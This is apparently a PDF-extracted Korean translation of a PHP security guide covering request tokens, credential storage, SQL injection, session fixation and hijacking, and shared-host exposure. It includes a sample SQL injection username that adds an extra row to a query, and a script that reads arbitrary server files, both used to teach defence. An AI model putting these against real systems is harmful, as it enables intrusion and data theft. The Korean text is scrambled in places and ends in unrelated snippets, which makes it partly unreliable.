실은 그렇지 않다 만약에 사용자가 폼을 이용해서 페이지를 요청하지 않는다면 폼을 전송하. , 는 것처럼 보이는 요청을 정당한 것 그리고 의도한 것으로 보아야 하는가?

이제 좀더 안전한 메시지 보드를 작성해 보자 :

<?php

$token = md5(time());

$fp = fopen('./tokens.txt', 'a');

fwrite($fp, "$token\n");

fclose($fp);

?><form method="POST"><input type="hidden" name="token" value="<?php echo $token; ?>"

/><input type="text" name="message"><br /><input type="submit"></form><?php

$tokens = file('./tokens.txt');

if (in_array($_POST['token'], $tokens))

(19)

{

if (isset($_POST['message'])) {

$message = htmlentities($_POST['message']);

$fp = fopen('./messages.txt', 'a');

fwrite($fp, "$message<br />");

fclose($fp);

} }

readfile('./messages.txt');

?>

이 메시지 보드는 여전히 몇 가지 보안 취약점이 존재한다.

시간은 절대로 예측 가능한 것이다 타임스탬프. time()를 MD5와 같이 이용하여 다이제스트하여 랜덤 숫자를 만드는 방법은 형편없는 설계이다 좀더 좋은 함수는. uniqid()와 rand()이다.

중요한 점은 공격자는 쉽게 유효한 토큰을 얻을 수 있다 단순히 이 페이지를 방문하여 유효한. 토큰이 생성되었고 소스에 포함되어 있다 유효한 토큰을 가지고 토큰의 요구사항이 추가되기. 전만큼이나 공격이 쉽게 된다.

다음은 업데이트된 메시지 보드이다 :

<?php

session_start();

if (isset($_POST['message'])) {

if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token']) {

$message = htmlentities($_POST['message']);

$fp = fopen('./messages.txt', 'a');

fwrite($fp, "$message<br />");

fclose($fp);

} }

$token = md5(uniqid(rand(), true));

$_SESSION['token'] = $token;

?><form method="POST"><input type="hidden" name="token" value="<?php echo $token; ?>"

/><input type="text" name="message"><br /><input type="submit"></form><?php readfile('./messages.txt');

?>

(20)

데이터베이스 및

3. SQL

노출되는 접근 자격

3.1

대부분의 PHP 응용프로그램은 데이터베이스와 상호작용한다 주로. PHP는 데이터베이스 서버 에 연결하고 인증을 위한 접근 자격을 사용하여 인증한다, .

<?php

$host = 'example.org';

$username = 'myuser';

$password = 'mypass';

$db = mysql_connect($host, $username, $password);

?>

위의 파일은 db.inc 라는 예이며 데이터베이스가 필요할 경우 연결할 때 사용된다 이러한 방, . 법은 편리하며 하나의 파일에 접근 자격을 유지하는 방법이다.

이 파일이 문서의 루트(root)안에 있을 때 잠재적인 문제가 발생한다 이렇게 하면. include와 문을 더욱 간단하게 만들 수 있기 때문에 일반적으로 사용하는 방법이다 그러나 이로

require .

인해 접근 자격이 노출될 수 있는 상황이 벌어진다.

루트안에 있는 모든 것은 이와 관련된 URL이 있다는 것을 기억해야 한다 예를 들어 루트가.

이라면 에 위치한 파일은

/usr/local/apache/htdocs , /usr/local/apache/htdocs/inc/db.inc

http://example.org/inc/db.inc 와 같은 URL을 가진다 이것을 대부분의 웹 서버가. inc. 파일을 평 문으로 제공하는 사실과 결합해보면 분명히 접근 자격에 대한 위험이 발생한다 더 큰 문제는, . 이러한 모듈에 있는 소스 코드도 노출될 수 있다 그러나 접근 자격은 특별히 더 민감하다. . 물론 간단히 해결할 수 있는 한 가지 방법은 모든 모듈을 문서 루트 디렉토리 외부에 두는 것 이며 효과가 있다. include나 require 둘 다 파일시스템 경로를 이용할 수 있으므로, URL을 통 해 모듈에 접근하도록 만들 필요는 없다 불필요한 위험을 만들 필요가 없는 것이다. .

만약에 여러분이 모듈 위치를 선택할 수가 없어 루트 디렉토리에 두어야 한다면, 일 경우 파일에 아래와 같이 추가해야 한다

httpd.conf(Apache ) .

<Files ~ "\.inc$">

Order allow, deny Deny from all

</Files>

엔진에 의해서 처리되는 모듈을 가지는 것은 좋은 방법이 아니다 여기에는 확장자

PHP . .php

(21)

로 모듈 이름을 변경하는 것과 PHP 파일처럼 처리되는 .inc 파일로 AddType을 사용하는 것도 포함한다 아무 계획 없이 코드를 실행하는 것은 매우 위험하다 왜냐하면 예상하지 못하거나. . 잘 알지 못하는 결과를 초래할 수 있다 그러나 모듈에 단지 변수 할당 내용으로만 구성되어. 있다면 이러한 위험은 줄어든다, .

데이터베이스 접근 자격을 보호하기 위한 좋은 방법은 David Sklar and Adam Trachtenberg가 작성한 PHP 쿡북 오렐리사 에 기술되어 있다( ) . /path/to/secret-stuff과 같은 파일을 만들어서 root 만 읽을 수 있도록 하라.

SetEnv DB_USER "myuser"

SetEnv DB_PASS "mypass"

Include this file within httpd.conf as follows:

Include "/path/to/secret-stuff"

이제 코드에 $_SERVER['DB_USER']와 $_SERVER['DB_PASS']를 사용할 수 있다 스크립트에. 절대로 사용자명과 패스워드를 기록할 필요도 없으며 웹서버도, secret-stuff 파일을 읽을 수 없 다 그래서 다른 사용자는 접근 자격을 읽기 위해 스크립트를 쓸 수 없게 된다 단지 이 변수들. . 이 phpinfo() 또는 print_r($_SERVER) 와 같은 방법으로 노출되지 않으면 된다.

3.2 SQL

인젝션

인젝션 공격은 굉장히 간단하며 방어하기도 쉽다 그러나 많은 응용프로그램이 이 공격에

SQL .

여전히 취약하다 다음과 같은. SQL 구문을 보자.

<?php

$sql = "INSERT

INTO users (reg_username, reg_password, reg_email)

VALUES ('{$_POST['reg_username']}', '$reg_password',

'{$_POST['reg_email']}')";

?>

이 쿼리는 $_POST로 구성되어 있다 이는 보자마자 의심스러워 보인다 이 쿼리가 새로운 계. . 정을 만드는 것이라고 가정해보자 사용자는 원하는 사용자명과 이메일 주소를 제공한다 등록. .

(22)

응용프로그램은 임시 패스워드를 생성하고 이를 검증하기 위해 사용자에게 이를 이메일로 보낸 다 그러면 사용자가 사용자명을 아래와 같이 입력했다고 가정해보자. .

bad_guy', 'mypass', ''), ('good_guy

위에 입력하고자 하는 사용자명은 유효한 사용자처럼 보이지 않는다 그러나 응용프로그램이. 구별할 수 있는 데이터 필터링 장치가 없다 위의 사용자명과 유효한 이메일과 예를 들어. (

그리고 패스워드 를 생성한다면 은 다음과 같다

shiflett@php.net), 1234 , SQL .

<?php

$sql = "INSERT

INTO users (reg_username, reg_password, reg_email)

VALUES ('bad_guy', 'mypass', ''), ('good_guy', '1234',

'shiflett@php.net')";

?>

위의 PHP는 ‘good_guy’에 대한 계정 하나만을 생성하지 않고, ‘bad_guy'에 대한 계정도 생성하 게 된다 즉. 2개의 계정을 생성하게 된다 그리고 사용자는. ‘bad_guy’ 계정에 대해서 상세한 계 정 정보를 제공하였다.

이 예제를 보면 그렇게 위험하게 보이지는 않지만 일단 공격자가, SQL 구문을 변조할 수 있다 면 위험해 질 수 있다 예를 들어 여러분들이 사용하고 있는 데이터베이스에 따라서 하나의 요. , 청에 데이터베이스 서버로 여러 개의 쿼리를 보낼 수 있다 그래서 어떤 사용자는 잠재적으로. 세미콜론으로 원래의 쿼리를 종료시킬 수 있고 사용자가 선택한 쿼리로 이를 이을 수 있다, .

은 최근까지 복수의 쿼리를 허용하지 않았다 그래서 이러한 특수한 위험은 줄어든 측면

MySQL .

이 있다. MySQL의 새버젼에서는 복수 쿼리를 허용한다 그러나 이에 맞는. PHP 확장판

에서는 복수 쿼리 함수 대신 를 보내고 싶다면

(ext/mysql) (mysqli_query() mysqli_multi_query())

다른 함수를 사용해야 한다 하나의 쿼리를 허용하는 것이 더욱 안전하다 왜냐하면 공격자가. . 의도하는 것을 제한할 수 있기 때문이다.

인젝션으로부터 보호하는 방법은 쉽다

SQL :

데이터를 필터링하라.

아무리 강조해도 모자라지 않는다 데이터 필터링을 하면 대부분의 보안문제가 완화되고 어. , 떤 부분에서 없어질 수 있다.

(23)

데이터에 대해 쿼테이션 마크를 사용해라.

데이터베이스가 허용하면 데이터 타입에 관계없이, SQL 문의 모든 값에 싱크 쿼테이션 마크 를 달아라.

데이터를 Escape 하라.

때때로 유효한 데이터는 의도하지 않게 SQL 구문 자체의 형식에 간섭받을 수 있다.

을 사용하거나 특정 데이터베이스에 있는 이스케이핑 함수를 사용하라

mysql_escape_string() .

만약에 구체적인 것이 없다면, addslashes()를 사용하라.

4. 세션

세션 고정화 공격

4.1 (Session Fixation)

세션보안은 복잡한 주제다 세션이 주요 공격대상이라는 것은 새로운 사실이 아니다 대부분의. . 세션 공격은 위장과 관련되어 있다 즉 공격자가 기존 사용자의 세션 접근권을 획득하여 그 사. 용자로 사칭하는 것이다 공격자 가장 중요하게 생각하는 세션 정보는 세션. ID이다 왜냐하면. 이 정보는 모든 위장 공격에서 필요하기 때문이다 유효한 세션. ID를 획득하는 방법은 아래와 같다.

예측

◦ 수집

고정화

예측방법은 유효한 세션 ID를 추측하는 것을 의미한다. PHP의 고유한 세션 메커니즘에 따르면, 세션 는 굉장히 무작위하게 정해진다 그리고 무작위 선정방법이 가장 취약한 부분은 아니다ID . . 유효한 세션 ID를 수집하는 것은 세션 공격 중 가장 일반적인 방법이며 수집할 수 있는 방법, 이 많이 있다 세션. ID는 쿠키나 GET 변수로 전달되기 때문에 전파하는 방법에 초점을 두고, 공격한다 쿠키에 관해서 몇 개의 브라우져가 취약하고 특히 인터넷 익스플로러. , (IE)가 가장 취 약하다 그리고 쿠키는. GET 변수보다는 노출되기 어렵다 그래서 쿠키를 사용하는 사용자에게. 는 세션 ID를 전달하는 쿠키를 사용해서 좀더 안전한 메커니즘을 제공할 수 있다.

고정화는 유효한 세션 ID를 획득하는 가장 간단한 방법이다 이 공격은 어렵지 않게 방어할 수. 있음에도 불구하고 세션 메커니즘에서, session_start() 함수만 사용해서 개발하면 공격에 취약 하다.

세션 고정화를 설명하기 위해서 아래와 같은, session.php 스크립트를 살펴보자.

(24)

<?php

session_start();

if (!isset($_SESSION['visits'])) {

$_SESSION['visits'] = 1;

} else {

$_SESSION['visits']++;

}

echo $_SESSION['visits'];

?>

페이지를 처음 방문하면 화면에, 1이라는 아웃풋을 보게 된다 이 숫자는 여러분 방문할 때마다. 증가하게 된다 세션 고정화를 설명하기 위해 먼저 여러분은 기존의 세션. , ID(쿠키를 삭제해야 한다 가 없어야 한다 그런 다음) . URL에 ?PHPSESSID=1234를 붙여서 이 페이지를 방문해보아 라 그 다음 완전히 다른 브라우져 또는 완전히 다른 컴퓨터 를 이용해서 동일한. ( ) , URL에

를 다시 붙여서 방문해봐라 그러면 처음 페이지를 방문해도 이라는 아웃

?PHPSESSID=1234 . 1

풋을 보지 못할 것이다 대신에 전에 시작했던 세션이 연속된다. .

왜 이것이 문제가 되는가? 대부분의 세션 고정화 공격은 링크를 사용하거나 프로토콜 수준의 리다이렉트를 사용해서 사용자에게 URL에 첨부된 세션 ID로 사용자를 원격지로 보낸다 사이. 트는 똑 같이 동작하기 때문에 사용자는 알지 못한다 공격자는 세션 아이디를 선택했기 때문. 에 세션 ID는 이미 알려져 있고 이로 인해 세션 하이제킹처럼 위장 공격으로 사용될 수 있다. 이와 같은 간단한 공격은 쉽게 예방할 수 있다 사용자가 제공하는 세션. ID와 관련된 활성화된 세션이 없다면 세션, ID를 다시 생성한다.

<?php

session_start();

if (!isset($_SESSION['initiated'])) {

session_regenerate_id();

$_SESSION['initiated'] = true;

(25)

}

?>

이렇게 간단하게 방어할 경우 문제는 공격자가 특정한 세션 에 대한 세션을 간단히 초기화할ID 수 있다는 것이다 그런 후 공격자가 그 아이디를 사용해서 공격을 할 수 있다 이러한 형태의. . 공격을 예방하기 위해 사용자가 로그인하거나 아니면 사용자가 높은 권한을 획득한 후 먼저, 세션 하이제킹이 가능한지를 고려해야 한다 그래서 권한 수준이 변경할 때마다 세션. ID를 재생 성하는 방법으로 수정한다면 세션 고정화 공격이 성공할 가능성을 실질적으로 없앨 수 있다, .

세션 하이제킹

4.2

세션 하이제킹은 가장 일반적인 세션 공격으로 다른 사용자의 세션을 접근 권한을 획득하는 모 든 공격을 말한다.

세션 고정화 공격과 마찬가지로 이 공격은 간단하지는 않지만, session_start()로만 세션 메커니 즘이 구현되어 있다면 취약하다.

여기서는 세션 ID가 수집되는 않도록 하는 방법보다 수집되더라도 문제가 많이 되지 않도록, 하는 것에 초점을 맞출 것이다 복잡하게 만들면 보안을 강화할 수 있기 때문에 목표는 위장을. , 복잡하게 하는 것이다 이를 위해 세션 하이제킹을 성공하기 위해 필요한 단계를 먼저 분석해. , 보자 각각의 시나리오에 세션. ID가 해킹당했다고 가정한다.

가장 간단한 세션 메커니즘을 사용해서 유효한 세션, ID가 세션을 하이제킹을 성공하는 데필요 하도록 사용한다 이것을 개선하기 위해 추가적인 식별에 사용할 수 있는. , HTTP 리퀘스트에 있 는 추가적인 사항이 있는 지 확인해 볼 필요가 있다.

주의사항 :

주소와 같이 수준에만 의존하는 것은 바람직하지 않다 왜냐하면 는

IP TCP/IP . TCP/IP HTTP

수준에서 발생하는 활동을 지원할 수 없는 낮은 수준의 프로토콜이기 때문이다 한 명의 사용. 자가 각각의 리퀘스트에 다른 IP주소를 가질 수 있으며 여러 명의 사용자가 동일한 IP 주소를 가질 수도 있다.

전형적인 HTTP 리퀘스트를 다시 보자.

GET / HTTP/1.1 Host: example.org

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

(26)

Cookie: PHPSESSID=1234

에는 호스트의 헤더만 요구한다 그래서 다른 것에 의존하는 것은 바람직하지 않다

HTTP 1.1 . .

그러나 일관성이 중요하다 왜냐하면 우리는 단지 정상적인 사용자에게 나쁘게 영향을 주지 않. 고 위장을 복잡하게 하는 것이 관심이 있기 때문이다.

전의 요청이 다른 user-agent의 요청의 뒤에 따른다고 생각해보라.

GET / HTTP/1.1 Host: example.org

User-Agent: Mozilla Compatible (MSIE)

Accept: text/xml, image/png, image/jpeg, image/gif, */*

Cookie: PHPSESSID=1234

쿠키가 똑 같지만 같은 사용자는 아니다 리퀘스트에 브라우져로 인해, . User-Agent 헤더를 바꿀 가능성의 거의 없다 추가적인 분석을 위해 세션 메커니즘을 변경해보자. .

<?php

session_start();

if (isset($_SESSION['HTTP_USER_AGENT'])) {

if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) {

/* Prompt for password */

exit;

} } else {

$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);

}

?>

이제 공격자는 유효한 세션 ID를 보여줘야 할 뿐만 아니라 세션과 연관 있는 정확한,

헤더를 보여줘야 한다 이것은 간단한 방법으로 더 복잡하게 만들 수 있으며 그래

User-Agent . ,

서 좀더 안전하다.

(27)

이것을 좀더 개선해 보자 쿠키 값을 얻기 위해 가장 일반적인 방법은 인터넷 익스플로러와 같. 은 취약한 웹 브라우저를 악용하는 것이다 이러한 공격은 공격자의 사이트를 방문하는 사용자. 가 희생자가 된다 그래서 공격자는 정확한. User-Agent 헤더 정보를 획득할 수 있다 이러한 상. 황을 보호하기 위해 추가적인 조치가 필요하다.

사용자에게 각각의 리퀘스트에 User-Agent의 MD5 값을 전달하도록 요구한다고 상상해보라 공. 격자는 더 이상 희생자의 요청이 담긴 헤더를 재생성하지 못할 것이다 그러나 이 추가 정보를. 전달시키는 것은 필요할 것이다 이러한 특정 토큰의 구성을 추측하는 것이 너무 어렵지 않은. 반면 토큰을 구성하는 방식을 랜덤한 방법을 추가하여 추측하는 것을 복잡하게 할 수 있다, , .

<?php

$string = $_SERVER['HTTP_USER_AGENT'];

$string .= 'SHIFLETT';

/* Add any other data that is consistent */

$fingerprint = md5($string);

?>

쿠키에 세션 ID를 전달한다는 것을 기억해야 한다 그리고 이 쿠키 모든. ( HTTP 헤더와 함께 를) 해킹하여 세션 ID를 얻는다 이 핑거프린트를. URL 변수로 전달한다 이것은 세션. ID 인 것처럼 모든 URL로 있어야 한다 왜냐하면 둘 다 세션이 자동적으로 연속되어야 하기 때문에 필요하. 다 모든 검사가 통과한 후에( ).

정상적인 사용자가 범죄자인처럼 취급되지 않기 위해서 검사가 실패하면 패스워드 입력을 요, 구가 필요하다. 만약에 메커니즘상 위장공격자로 잘못 의심하게 하는 에러가 발생하면 계속하, 기 전에 패스워드를 요구하는 것이 상황을 좀 더 부드럽게 넘길 수 있다 사실 사용자는 그러. 한 쿼리로부터 인식되는 추가적인 보호조치에 대해 고맙게 생각할 것이다.

세션 해킹으로부터 응용프로그램을 위장을 복잡하게하고 보호하는 데 사용할 수 있는 여러 가 지 방법이 있다 물론 해킹을 예방하기 위해 좋은 방안들이 있을 수 있지만 적어도.

이외에 다른 함수를 사용하는 것이 좋다 나쁜 사람들을 위해서 복잡하게 만들고

session_start() . ,

좋은 사람들을 위해서는 쉽게 만들기를 바란다.

주의사항 :

어떤 전문가들은 User-Agent 헤더는 설명된 방식으로 사용되기에는 너무 일관성이 없다고 주장 하기도 한다 그 논리를 보면 어떤 클러스터에. HTTP 프록시가 같은 클러스터에 있는 다른 프 록시들과 일관되지 않게 User-Agent 헤더를 수정할 수 있다는 것이다 나는 이것을 직접 본적.

(28)

이 없지만 여러분들이 한 번 고려해 볼 필요가 있다, .

헤더는 인터넷 익스플로러에서 요청으로부터 요청까지의 사항을 변경하기 위한 것으로 Accept

알려져 있다 즉 사용자가 브라우져를 갱신하는 지에 의존함 그래서 이것은 일관성을 위해 의존( ) 될 필요가 없다.

공유 호스트 5.

세션 데이터 노출

5.1

호스트를 공유하는 경우 전용호스트보다 보안성이 강하지 못하다 비용이 비싸지 않는 것에 대, . 한 대가중 하나이다.

호스트를 공유하는 것에 대한 발생할 수 있는 특별한 취약성은 세션 저장소를 공유하는 것이 다. PHP는 디폴트로 세션 데이터를 /tmp에 저장한다 대부분의 사람들이 주로 디폴트로 정해진. 대로 사용한다 그리고 세션은 예외가 없다 다행히도 웹서버에 의해서만 읽혀질 수 때문에 누. . , 구든지 세션 파일을 읽을 수 있다.

$ ls /tmp total 12

-rw--- 1 nobody nobody 123 May 21 12:34 sess_dc8417803c0f12c5b2e39477dc371462 -rw--- 1 nobody nobody 123 May 21 12:34 sess_46c83b9ae5e506b8ceb6c37dc9a3f66e -rw--- 1 nobody nobody 123 May 21 12:34 sess_9c57839c6c7a6ebd1cb45f7569d1ccfc

$

불행히도, PHP 스크립트를 만들어서 이러한 파일을 쉽게 읽을 수있다 그리고 사용자는. 로 운영되기 때문에 필요한 권한을 가지고 있다

nobody , .

안전모드 디렉티브는 이것을 예방할 수 있고 이와 유사한 안전문제를 예방할 수 있다 그러나. 에만 적용되기 때문에 가 발생하는 문제는 해결할 수 없다 공격자는 다른 언어를 사용

PHP root .

할 수 있다.

더 좋은 해결방안은 다른 사람과 똑 같은 세션 저장소를 사용하지 않는 것이다 세션 데이터를. 서버에 저장하기 않고 데이터베이스에 저장하고 데이터베이스에 접근통제장치를 두어 허가된, 사람만 접근할 수 있도록 해라 이를 위해. , session_set_save_handler() 함수를 사용해서 PHP 함수를 관리하는 PHP 디폴트값에 덥어쓰게 하라.

다음 코드는 데이터베이스에서 세션을 저장하기 위한 간단한 예를 보여준다.

<?php

session_set_save_handler('_open', '_close',

(29)

'_read', '_write', '_destroy', '_clean');

function _open() {

global $_sess_db;

$db_user = $_SERVER['DB_USER'];

$db_pass = $_SERVER['DB_PASS'];

$db_host = 'localhost';

if ($_sess_db = mysql_connect($db_host, $db_user, $db_pass)) {

return mysql_select_db('sessions', $_sess_db);

}

return FALSE;

}

function _close() {

global $_sess_db;

return mysql_close($_sess_db);

}

function _read($id) {

global $_sess_db;

$id = mysql_real_escape_string($id);

$sql = "SELECT data FROM sessions WHERE id = '$id'";

(30)

if ($result = mysql_query($sql, $_sess_db)) {

if (mysql_num_rows($result)) {

$record = mysql_fetch_assoc($result);

return $record['data'];

} }

return '';

}

function _write($id, $data) {

global $_sess_db;

$access = time();

$id = mysql_real_escape_string($id);

$access = mysql_real_escape_string($access);

$data = mysql_real_escape_string($data);

$sql = "REPLACE INTO sessions

VALUES ('$id', '$access', '$data')";

return mysql_query($sql, $_sess_db);

}

function _destroy($id) {

global $_sess_db;

$id = mysql_real_escape_string($id);

$sql = "DELETE

FROM sessions

(31)

WHERE id = '$id'";

return mysql_query($sql, $_sess_db);

}

function _clean($max) {

global $_sess_db;

$old = time() - $max;

$old = mysql_real_escape_string($old);

$sql = "DELETE

FROM sessions

WHERE access < '$old'";

return mysql_query($sql, $_sess_db);

}

?>

이 스크립트는 session이라는 테이블이 필요하다 그리고 테이블의 포맷은 다음과 같다. .

mysql> DESCRIBE sessions;

+---+---+---+---+---+---+

| Field | Type | Null | Key | Default | Extra | +---+---+---+---+---+---+

| id | varchar(32) | | PRI | | |

| access | int(10) unsigned | YES | | NULL | |

| data | text | YES | | NULL | | +---+---+---+---+---+---+

이 데이터베이스는 MySQL에서 아래와 같이 하면 만들 수 있다.

CREATE TABLE sessions (

id varchar(32) NOT NULL, access int(10) unsigned,

(32)

data text,

PRIMARY KEY (id) );

데이터베이스에 세션 데이터를 저장함으로써 데이터보안에 신뢰를 높일 수 있다 앞에서 데이. 터베이스와 SQL에 관해서 논의했던 것은 여기서도 적용이 가능하므로 기억할 필요가 있다.

(33)

파일시스템 검색

5.3

그냥 재미로 파일시스템을 브라우징하는 스크립트를 한 번 살펴보자,

<?php

echo "<pre>\n";

if (ini_get('safe_mode')) {

echo "[safe_mode enabled]\n\n";

} else {

echo "[safe_mode disabled]\n\n";

}

if (isset($_GET['dir'])) {

ls($_GET['dir']);

}

elseif (isset($_GET['file'])) {

cat($_GET['file']);

} else {

ls('/');

}

echo "</pre>\n";

function ls($dir) {

$handle = dir($dir);

while ($filename = $handle->read()) {

$size = filesize("$dir$filename");

if (is_dir("$dir$filename")) {

if (is_readable("$dir$filename")) {

$line = str_pad($size, 15);

$line .= "<a href=\"{$_SERVER['PHP_SE LF']}?dir=$dir$filename/\">$filename/</a>";

}

(34)

else {

$line = str_pad($size, 15);

$line .= "$filename/";

} } else {

if (is_readable("$dir$filename")) {

$line = str_pad($size, 15);

$line .= "<a

href=\"{$_SERVER['PHP_SELF']}?file=$dir$filename\">$filename</a>";

} else {

$line = str_pad($size, 15);

$line .= $filename;

} }

echo "$line\n";

}

$handle->close();

}

function cat($file) {

ob_start();

readfile($file);

$contents = ob_get_contents();

ob_clean();

echo htmlentities($contents);

return true;

}

?>

디렉티브는 이러한 특정 스크립트를 예방할 수 있다 그러나 다른 언어로 작성된다

safe_mode .

면 어떻게 되는가?

민감한 데이터는 가급적 데이터베이스에 저장하는 것이고 데이터베이스의 접근 자격을 보호하, 기 위해 전에 언급한 (where $_SERVER['DB_USER'] and $_SERVER['DB_PASS'] contain the

기법을 사용하면 해결할 수 있다 그리고 가장 좋은 방법은 전용 호스트를

access credentials) .

사용하는 것이다.

(35)

6. 추가정보

가이드 정보

6.1

보안 가이드는 보안 컨소시움 프로젝트 산물이다 여러분은 본 문서의 최신본은

PHP PHP .

http://phpsec.org/projects/guide/에서 확인할 수 있다.

보안 컨소시움

6.2 PHP

보안 컨소시움은 높은 수준의 윤리기준을 유지하며 교육으로 커뮤니티내에서 안전하

PHP PHP

게 프로그래밍 할 수 있도록 노력한다 자세한 내용은 커소시움. (http://phpsec.org/.)을 방문하기 를 바란다.

추가 정보

6.3

보안 프랙티스에 관한 추가적인 정보는 보안 컨소시움 도서관을 방문하기를 바란다

PHP PHP

(http://phpsec.org/library/).

참조

관련 문서

Class와 instance는 각각이 object로서, class는 프로그래머가 만들어 제공하는 object이고, 사용 자가 이 class를 복사해 사용하면 instance가 되는 것이다.. 즉,

웹 방화벽(Web Application Firewall, WAF)은 홈페이지 서비스를 위한 전용 보안 솔루션으로 SQL 인젝션, XSS 등과 같은 웹 공격을 탐지하고 차단할 수 있다.

제22조(공급시설 건설비용의 적립의무 대상 사업자 등) ①법 제20조의3제1항의 규정에 의하여 사용자가 부담한 금액으로 취득한 공급시설에 대한

이렇게 사용자가 원하는 서비스를 제공하기 위하여 사용자와 기기의 상호작용을 어떻게 수행해야 할지 기획하고 효과적인 표현 방법을 제안하는

본 연구는 정보시스템 서비스 품질측정에 관한 기존연구를 토대로 유통산업 정 보시스템 서비스 품질요인을 SERVPERF모형을 이용하여 정보시스템이 제공하는

따라서, 본 연구는 스마트폰 사용자가 블루투스 통신을 이용하여 착신정보를 자동으 로 데이터화 하여 전송할 수 있는 기능의 안드로이드 운영체제기반

목표 도서관 사용자가 온라인 색인을 이용하여 책 대출을 예약하기를 목표 도서관 사용자가 온라인 색인을 이용하여 책

 사용자가 답을 제시하면 프로그램은 자신이 저장한 정수와 비교하여 제시된 정수가 더 높은지